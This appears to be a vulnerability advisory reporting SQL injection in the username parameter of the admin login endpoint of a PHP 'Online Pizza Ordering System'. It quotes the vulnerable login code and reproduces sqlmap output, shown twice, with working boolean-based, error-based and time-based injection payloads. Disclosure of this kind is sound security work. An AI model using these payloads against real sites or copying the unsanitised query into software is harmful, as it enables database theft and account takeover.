SQL injection vulnerability exists in username parameter of /admin/ajax.php file of Online Pizza Ordering System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/ajax.php and action parameter is 'login',it will include admin_class.php,and username parameter can do sql injection.

ajax.php

```php
<?php
ob_start();
$action = $_GET['action'];
include 'admin_class.php';
$crud = new Action();

if($action == 'login'){
    $login = $crud->login();
    if($login)
        echo $login;
}
if($action == 'login2'){
    $login = $crud->login2();
    if($login)
        echo $login;
}
if($action == 'logout'){
    $logout = $crud->logout();
    if($logout)
        echo $logout;
}
if($action == 'logout2'){
    $logout = $crud->logout2();
    if($logout)
        echo $logout;
}
if($action == 'save_user'){
    $save = $crud->save_user();
    if($save)
        echo $save;
}
```

admin_class.php

```php
<?php
session_start();
Class Action {
    private $db;

    public function __construct() {
        ob_start();
    include 'db_connect.php';

    $this->db = $conn;
    }
    function __destruct() {
        $this->db->close();
        ob_end_flush();
    }

    function login(){
        extract($_POST);
        $qry = $this->db->query("SELECT * FROM `users` where
        username = '".$username."' ");
        if($qry->num_rows > 0){
            $result = $qry->fetch_array();
            $is_verified = password_verify($password, $result[
            'password']);
            if($is_verified){
            foreach ($result as $key => $value) {
                if($key != 'password' && !is_numeric($key))
                    $_SESSION['login_'.$key] = $value;
            }
                return 1;
            }
```

```
sqlmap identified the following injection point(s) with a total of 239 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 2019=2019-- pyju&password=admin123

    Type: error-based
    Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 4140 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT
(ELT(4140=4140,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)
a)-- xsOC&password=admin123

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 9716 FROM (SELECT(SLEEP(5)))PnRb)-- aily&password=admi
n123
---
```

“

Parameter: username (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: username=admin' AND 2019=2019-- pyju&password=admin123

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: username=admin' AND (SELECT 4140 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT (ELT(4140=4140,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xsOC&password=admin123

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=admin' AND (SELECT 9716 FROM (SELECT(SLEEP(5)))PnRb)--aily&password=admin123

“

Source Download：

https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html